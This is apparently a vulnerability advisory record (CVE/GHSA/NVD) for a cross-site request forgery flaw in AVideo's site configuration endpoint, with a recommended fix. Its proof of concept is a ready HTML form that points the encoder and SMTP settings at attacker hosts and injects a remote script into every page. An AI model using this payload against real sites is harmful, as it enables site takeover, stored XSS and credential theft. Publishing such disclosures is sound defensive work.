{"id":"CVE-2026-40925","aliases":["CVE-2026-40925","GHSA-vvfw-4m39-fjqf"],"related":[],"kind":"vulnerability","state":"published","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","summary":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config->setContactEmail($_POST['contactEmail']);          // :21\n$config->setLanguage($_POST['language']);                  // :22\n$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23\n$config->setDescription($_POST['description']);           // :24\n$config->setAuthCanComment($_POST['authCanComment']);     // :25\n$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26\n// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):\n$config->setEncoderURL($_POST['encoder_url']);            // :32\n$config->setSmtp($_POST['smtp']);                         // :33\n$config->setSmtpAuth($_POST['smtpAuth']);                 // :34\n$config->setSmtpSecure($_POST['smtpSecure']);             // :35\n$config->setSmtpHost($_POST['smtpHost']);                 // :36\n$config->setSmtpUsername($_POST['smtpUsername']);         // :37\n$config->setSmtpPassword($_POST['smtpPassword']);         // :38\n$config->setSmtpPort($_POST['smtpPort']);                 // :39\n$config->setHead($_POST['head']);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68\nfile_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71\n// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)\necho '{\"status\":\"' . $config->save() . '\", ...}';         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request — no preflight — so any third-party origin can trigger it from a `<form>` with the admin's session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** — attacker-chosen raw HTML is injected into every page's `<head>`, giving persistent site-wide stored XSS (e.g. `<script src=\"https://attacker/evil.js\"></script>`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n<!doctype html>\n<html><body>\n<form id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\">\n  <input name=\"contactEmail\"        value=\"attacker@evil.com\">\n  <input name=\"language\"            value=\"en\">\n  <input name=\"webSiteTitle\"        value=\"Pwned\">\n  <input name=\"description\"         value=\"x\">\n  <input name=\"authCanComment\"      value=\"1\">\n  <input name=\"authCanUploadVideos\" value=\"1\">\n  <input name=\"authCanViewChart\"    value=\"1\">\n  <input name=\"disable_analytics\"   value=\"0\">\n  <input name=\"allow_download\"      value=\"1\">\n  <input name=\"session_timeout\"     value=\"3600\">\n  <input name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\">\n  <input name=\"smtp\"                value=\"1\">\n  <input name=\"smtpAuth\"            value=\"1\">\n  <input name=\"smtpSecure\"          value=\"tls\">\n  <input name=\"smtpHost\"            value=\"smtp.attacker.com\">\n  <input name=\"smtpUsername\"        value=\"attacker\">\n  <input name=\"smtpPassword\"        value=\"password\">\n  <input name=\"smtpPort\"            value=\"587\">\n  <input name=\"head\"                value='<script src=\"https://attacker.example.com/evil.js\"></script>'>\n  <input name=\"adsense\"             value=\"x\">\n  <input name=\"autoplay\"            value=\"1\">\n  <input name=\"theme\"               value=\"default\">\n</form>\n<script>document.getElementById('x').submit();</script>\n</body></html>\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config->save()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `<script>` in the rendered `<head>`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nrequire_once $global['systemRootPath'] . 'objects/functionsSecurity.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nforbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de video de código abierto. En las versiones 29.0 y anteriores, “objects/configurationUpdate.json.php” (también enrutado a través de “/updateConfig”) persiste docenas de configuraciones globales del sitio desde “$_POST” pero protege el endpoint solo con “User::isAdmin()”. No llama a “forbidIfIsUntrustedRequest()”, no verifica un “globalToken”, y no valida el encabezado Origin/Referer. Debido a que AVideo establece intencionalmente “session.cookie_samesite=None” para admitir la incrustación de iframe de origen cruzado, un administrador con sesión iniciada que visita una página controlada por un atacante hará que el navegador envíe automáticamente un POST de origen cruzado que reescribe la URL del codificador del sitio, las credenciales SMTP, el HTML “[head]” del sitio, el logotipo, el favicon, el correo electrónico de contacto y más en una sola solicitud. El commit f9492f5e6123dff0292d5bb3164fde7665dc36b5 contiene una solución.","source":"nvd"}],"published":"2026-04-14T23:12:30.000Z","modified":"2026-10-26T00:10:00.150Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"}],"cwes":["CWE-352"],"affected":[{"ranges":[{"version":"<= 29.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"29.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"29.0"}],"vendor":"wwbn","product":"avideo","cpe":"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40925","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-21T20:34:52.189Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40925","url":"https://www.cve.org/CVERecord?id=CVE-2026-40925","licence":"CVE Terms of Use","modified":"2026-04-21T20:35:55.243Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vvfw-4m39-fjqf","url":"https://github.com/advisories/GHSA-vvfw-4m39-fjqf","licence":"CC-BY-4.0","modified":"2026-05-05T16:26:32.277Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40925","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40925","licence":"Public domain","modified":"2026-10-26T00:10:00.150Z"}],"updatedAt":"2026-11-25T22:59:19.192Z","epss":{"score":0.00176,"percentile":0.07462,"date":"2026-12-01T12:00:22.000Z"}}